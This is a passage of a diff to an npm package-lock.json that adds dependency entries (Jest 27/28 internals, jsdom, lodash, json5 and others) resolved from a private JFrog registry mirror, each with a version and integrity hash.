"3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==" + } + } + }, + "@jest/test-result": { + "version": "28.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jest/test-result/-/test-result-28.1.3.tgz", + "integrity": "sha512-kZAkxnSE+FqE8YjW8gNuoVkkC9I7S1qmenl8sGcDOLropASP+BkcGKwhXoyqQuGOGeYY0y/ixjrd/iERpEXHNg==", + "requires": { + "@jest/console": "^28.1.3", + "@jest/types": "^28.1.3", + "@types/istanbul-lib-coverage": "^2.0.0", + "collect-v8-coverage": "^1.0.0" + } + }, + "@jest/types": { + "version": "28.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jest/types/-/types-28.1.3.tgz", + "integrity": "sha512-RyjiyMUZrKz/c+zlMFO1pm70DcIlST8AeWTkoUdZevew44wcNZQHsEVOiCVtgVnlFFD82FPaXycys58cf2muVQ==", + "requires": { + "@jest/schemas": "^28.1.3", + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^17.0.8", + "chalk": "^4.0.0" + } + }, + "@types/yargs": { + "version": "17.0.24", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/yargs/-/yargs-17.0.24.tgz", + "integrity": "sha512-6i0aC7jV6QzQB8ne1joVZ0eSFIstHsCrobmOtghM11yGlH0j43FKL2UhWdELkyps0zuf7qVTUVCCR+tgSlyLLw==", + "requires": { + "@types/yargs-parser": "*" + } + }, + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "emittery": { + "version": "0.10.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/emittery/-/emittery-0.10.2.tgz", + "integrity": "sha512-aITqOwnLanpHLNXZJENbOgjUBeHocD+xsSJmNrjovKBW5HbSpW3d1pEls7GFQPUWXiwG9+0P4GtHfEqC/4M0Iw==" + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "jest-message-util": { + "version": "28.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-message-util/-/jest-message-util-28.1.3.tgz", + "integrity": "sha512-PFdn9Iewbt575zKPf1286Ht9EPoJmYT7P0kY+RibeYZ2XtOr53pDLEFoTWXbd1h4JiGiWpTBC84fc8xMXQMb7g==", + "requires": { + "@babel/code-frame": "^7.12.13", + "@jest/types": "^28.1.3", + "@types/stack-utils": "^2.0.0", + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "micromatch": "^4.0.4", + "pretty-format": "^28.1.3", + "slash": "^3.0.0", + "stack-utils": "^2.0.3" + }, + "dependencies": { + "slash": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==" + } + } + }, + "jest-regex-util": { + "version": "28.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-regex-util/-/jest-regex-util-28.0.2.tgz", + "integrity": "sha512-4s0IgyNIy0y9FK+cjoVYoxamT7Zeo7MhzqRGx7YDYmaQn1wucY9rotiGkBzzcMXTtjrCAP/f7f+E0F7+fxPNdw==" + }, + "jest-util": { + "version": "28.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-util/-/jest-util-28.1.3.tgz", + "integrity": "sha512-XdqfpHwpcSRko/C35uLYFM2emRAltIIKZiJ9eAmhjsj0CqZMa0p1ib0R5fWIqGhn1a103DebTbpqIaP1qCQ6tQ==", + "requires": { + "@jest/types": "^28.1.3", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + } + }, + "jest-watcher": { + "version": "28.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-watcher/-/jest-watcher-28.1.3.tgz", + "integrity": "sha512-t4qcqj9hze+jviFPUN3YAtAEeFnr/azITXQEMARf5cMwKY2SMBRnCQTXLixTl20OR6mLh9KLMrgVJgJISym+1g==", + "requires": { + "@jest/test-result": "^28.1.3", + "@jest/types": "^28.1.3", + "@types/node": "*", + "ansi-escapes": "^4.2.1", + "chalk": "^4.0.0", + "emittery": "^0.10.2", + "jest-util": "^28.1.3", + "string-length": "^4.0.1" + }, + "dependencies": { + "string-length": { + "version": "4.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/string-length/-/string-length-4.0.2.tgz", + "integrity": "sha512-+l6rNN5fYHNhZZy41RXsYptCjA2Igmq4EG7kZAYFQI1E1VTXarr6ZPXBg6eq7Y6eK4FEhY6AJlyuFIb/v/S0VQ==", + "requires": { + "char-regex": "^1.0.2", + "strip-ansi": "^6.0.0" + } + }, + "strip-ansi": { + "version": "6.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "requires": { + "ansi-regex": "^5.0.1" + } + } + } + }, + "pretty-format": { + "version": "28.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/pretty-format/-/pretty-format-28.1.3.tgz", + "integrity": "sha512-8gFb/To0OmxHR9+ZTb14Df2vNxdGCX8g1xWGUTqUw5TiZvcQf5sHKObd5UcPyLLyowNwDAMTF3XWOG1B6mxl1Q==", + "requires": { + "@jest/schemas": "^28.1.3", + "ansi-regex": "^5.0.1", + "ansi-styles": "^5.0.0", + "react-is": "^18.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "5.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==" + } + } + }, + "react-is": { + "version": "18.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/react-is/-/react-is-18.2.0.tgz", + "integrity": "sha512-xWGDIW6x921xtzPkhiULtthJHoJvBbF3q26fzloPCK0hsvxtPVelvftw3zjbHWSkR2km9Z+4uxbDDK/6Zw9B8w==" + }, + "slash": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/slash/-/slash-4.0.0.tgz", + "integrity": "sha512-3dOsAHXXUkQTpOYcoAxLIorMTp4gIQr5IW3iVb7A7lFIp0VHhnynm9izx6TssdrIcVIESAlVjtnO2K8bg+Coew==" + }, + "string-length": { + "version": "5.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/string-length/-/string-length-5.0.1.tgz", + "integrity": "sha512-9Ep08KAMUn0OadnVaBuRdE2l615CQ508kr0XMadjClfYpdCyvrbFp6Taebo8yyxokQ4viUd/xPPUA4FGgUa0ow==", + "requires": { + "char-regex": "^2.0.0", + "strip-ansi": "^7.0.1" + }, + "dependencies": { + "char-regex": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/char-regex/-/char-regex-2.0.1.tgz", + "integrity": "sha512-oSvEeo6ZUD7NepqAat3RqoucZ5SeqLJgOvVIwkafu6IP3V0pO38s/ypdVUmDDK6qIIHNlYHJAKX9E7R7HoKElw==" + } + } + }, + "strip-ansi": { + "version": "7.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/strip-ansi/-/strip-ansi-7.1.0.tgz", + "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==", + "requires": { + "ansi-regex": "^6.0.1" + }, + "dependencies": { + "ansi-regex": { + "version": "6.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-regex/-/ansi-regex-6.0.1.tgz", + "integrity": "sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA==" + } + } + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "jest-watcher": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-watcher/-/jest-watcher-27.5.1.tgz", + "integrity": "sha512-z676SuD6Z8o8qbmEGhoEUFOM1+jfEiL3DXHK/xgEiG2EyNYfFG60jluWcupY6dATjfEsKQuibReS1djInQnoVw==", + "requires": { + "@jest/test-result": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "ansi-escapes": "^4.2.1", + "chalk": "^4.0.0", + "jest-util": "^27.5.1", + "string-length": "^4.0.1" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "jest-worker": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-worker/-/jest-worker-27.5.1.tgz", + "integrity": "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==", + "requires": { + "@types/node": "*", + "merge-stream": "^2.0.0", + "supports-color": "^8.0.0" + }, + "dependencies": { + "has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "supports-color": { + "version": "8.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "jiti": { + "version": "1.18.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jiti/-/jiti-1.18.2.tgz", + "integrity": "sha512-QAdOptna2NYiSSpv0O/BwoHBSmz4YhpzJHyi+fnMRTXFjp7B8i/YG5Z8IfusxB1ufjcD2Sre1F3R+nX3fvy7gg==" + }, + "js-tokens": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==" + }, + "js-yaml": { + "version": "3.14.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/js-yaml/-/js-yaml-3.14.1.tgz", + "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", + "requires": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + } + }, + "jsdom": { + "version": "16.7.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jsdom/-/jsdom-16.7.0.tgz", + "integrity": "sha512-u9Smc2G1USStM+s/x1ru5Sxrl6mPYCbByG1U/hUmqaVsm4tbNyS7CicOSRyuGQYZhTu0h84qkZZQ/I+dzizSVw==", + "requires": { + "abab": "^2.0.5", + "acorn": "^8.2.4", + "acorn-globals": "^6.0.0", + "cssom": "^0.4.4", + "cssstyle": "^2.3.0", + "data-urls": "^2.0.0", + "decimal.js": "^10.2.1", + "domexception": "^2.0.1", + "escodegen": "^2.0.0", + "form-data": "^3.0.0", + "html-encoding-sniffer": "^2.0.1", + "http-proxy-agent": "^4.0.1", + "https-proxy-agent": "^5.0.0", + "is-potential-custom-element-name": "^1.0.1", + "nwsapi": "^2.2.0", + "parse5": "6.0.1", + "saxes": "^5.0.1", + "symbol-tree": "^3.2.4", + "tough-cookie": "^4.0.0", + "w3c-hr-time": "^1.0.2", + "w3c-xmlserializer": "^2.0.0", + "webidl-conversions": "^6.1.0", + "whatwg-encoding": "^1.0.5", + "whatwg-mimetype": "^2.3.0", + "whatwg-url": "^8.5.0", + "ws": "^7.4.6", + "xml-name-validator": "^3.0.0" + } + }, + "jsesc": { + "version": "2.5.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jsesc/-/jsesc-2.5.2.tgz", + "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==" + }, + "json-parse-even-better-errors": { + "version": "2.3.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", + "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==" + }, + "json-schema": { + "version": "0.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/json-schema/-/json-schema-0.4.0.tgz", + "integrity": "sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA==" + }, + "json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" + }, + "json-stable-stringify-without-jsonify": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", + "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==" + }, + "json5": { + "version": "2.2.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/json5/-/json5-2.2.3.tgz", + "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==" + }, + "jsonfile": { + "version": "6.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jsonfile/-/jsonfile-6.1.0.tgz", + "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==", + "requires": { + "graceful-fs": "^4.1.6", + "universalify": "^2.0.0" + } + }, + "jsonpointer": { + "version": "5.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jsonpointer/-/jsonpointer-5.0.1.tgz", + "integrity": "sha512-p/nXbhSEcu3pZRdkW1OfJhpsVtW1gd4Wa1fnQc9YLiTfAjn0312eMKimbdIQzuZl9aa9xUGaRlP9T/CJE/ditQ==" + }, + "jsx-ast-utils": { + "version": "3.3.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jsx-ast-utils/-/jsx-ast-utils-3.3.3.tgz", + "integrity": "sha512-fYQHZTZ8jSfmWZ0iyzfwiU4WDX4HpHbMCZ3gPlWYiCl3BoeOTsqKBqnTVfH2rYT7eP5c3sVbeSPHnnJOaTrWiw==", + "requires": { + "array-includes": "^3.1.5", + "object.assign": "^4.1.3" + } + }, + "kind-of": { + "version": "6.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/kind-of/-/kind-of-6.0.3.tgz", + "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==" + }, + "kleur": { + "version": "3.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/kleur/-/kleur-3.0.3.tgz", + "integrity": "sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==" + }, + "klona": { + "version": "2.0.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/klona/-/klona-2.0.6.tgz", + "integrity": "sha512-dhG34DXATL5hSxJbIexCft8FChFXtmskoZYnoPWjXQuebWYCNkVeV3KkGegCK9CP1oswI/vQibS2GY7Em/sJJA==" + }, + "language-subtag-registry": { + "version": "0.3.22", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/language-subtag-registry/-/language-subtag-registry-0.3.22.tgz", + "integrity": "sha512-tN0MCzyWnoz/4nHS6uxdlFWoUZT7ABptwKPQ52Ea7URk6vll88bWBVhodtnlfEuCcKWNGoc+uGbw1cwa9IKh/w==" + }, + "language-tags": { + "version": "1.0.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/language-tags/-/language-tags-1.0.5.tgz", + "integrity": "sha512-qJhlO9cGXi6hBGKoxEG/sKZDAHD5Hnu9Hs4WbOY3pCWXDhw0N8x1NenNzm2EnNLkLkk7J2SdxAkDSbb6ftT+UQ==", + "requires": { + "language-subtag-registry": "~0.3.2" + } + }, + "launch-editor": { + "version": "2.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/launch-editor/-/launch-editor-2.6.0.tgz", + "integrity": "sha512-JpDCcQnyAAzZZaZ7vEiSqL690w7dAEyLao+KC96zBplnYbJS7TYNjvM3M7y3dGz+v7aIsJk3hllWuc0kWAjyRQ==", + "requires": { + "picocolors": "^1.0.0", + "shell-quote": "^1.7.3" + } + }, + "leven": { + "version": "3.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/leven/-/leven-3.1.0.tgz", + "integrity": "sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==" + }, + "levn": { + "version": "0.4.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/levn/-/levn-0.4.1.tgz", + "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==", + "requires": { + "prelude-ls": "^1.2.1", + "type-check": "~0.4.0" + } + }, + "lilconfig": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/lilconfig/-/lilconfig-2.1.0.tgz", + "integrity": "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ==" + }, + "lines-and-columns": { + "version": "1.2.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/lines-and-columns/-/lines-and-columns-1.2.4.tgz", + "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==" + }, + "loader-runner": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/loader-runner/-/loader-runner-4.3.0.tgz", + "integrity": "sha512-3R/1M+yS3j5ou80Me59j7F9IMs4PXs3VqRrm0TU3AbKPxlmpoY1TNscJV/oGJXo8qCatFGTfDbY6W6ipGOYXfg==" + }, + "loader-utils": { + "version": "2.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/loader-utils/-/loader-utils-2.0.4.tgz", + "integrity": "sha512-xXqpXoINfFhgua9xiqD8fPFHgkoq1mmmpE92WlDbm9rNRd/EbRb+Gqf908T2DMfuHjjJlksiK2RbHVOdD/MqSw==", + "requires": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^2.1.2" + } + }, + "locate-path": { + "version": "6.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "requires": { + "p-locate": "^5.0.0" + } + }, + "lodash": { + "version": "4.17.21", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==" + }, + "lodash.debounce": { + "version": "4.0.8", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/lodash.debounce/-/lodash.debounce-4.0.8.tgz", + "integrity": "sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow==" + }, + "lodash.memoize": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/lodash.memoize/-/lodash.memoize-4.1.2.tgz", + "integrity": "sha512-t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag==" + }, + "lodash.merge": { + "version": "4.6.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/lodash.merge/-/lodash.merge-4.6.2.tgz", + "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==" + }, + "lodash.sortby": { + "version": "4.7.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/lodash.sortby/-/lodash.sortby-4.7.0.tgz", + "integrity": "sha512-HDWXG8isMntAyRF5vZ7xKuEvOhT4AhlRt/3czTSjvGUxjYCBVRQY48ViDHyfYz9VIoBkW4TMGQNapx+l3RUwdA==" + }, + "lodash.uniq": { + "version": "4.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/lodash.uniq/-/lodash.uniq-4.5.0.tgz", + "integrity": "sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ==" + }, + "loose-envify": { + "version": "1.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/loose-envify/-/loose-envify-1.4.0.tgz", + "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", + "requires": { + "js-tokens": "^3.0.0 || ^4.0.0" + } + }, + "lower-case": { + "version": "2.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/lower-case/-/lower-case-2.0.2.tgz", + "integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==", + "requires": { + "tslib": "^2.0.3" + } + }, + "lru-cache": { + "version": "5.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/lru-cache/-/lru-cache-5.1.1.tgz", + "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", + "requires": { + "yallist": "^3.0.2" + } + }, + "lz-string": { + "version": "1.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/lz-string/-/lz-string-1.5.0.tgz", + "integrity": 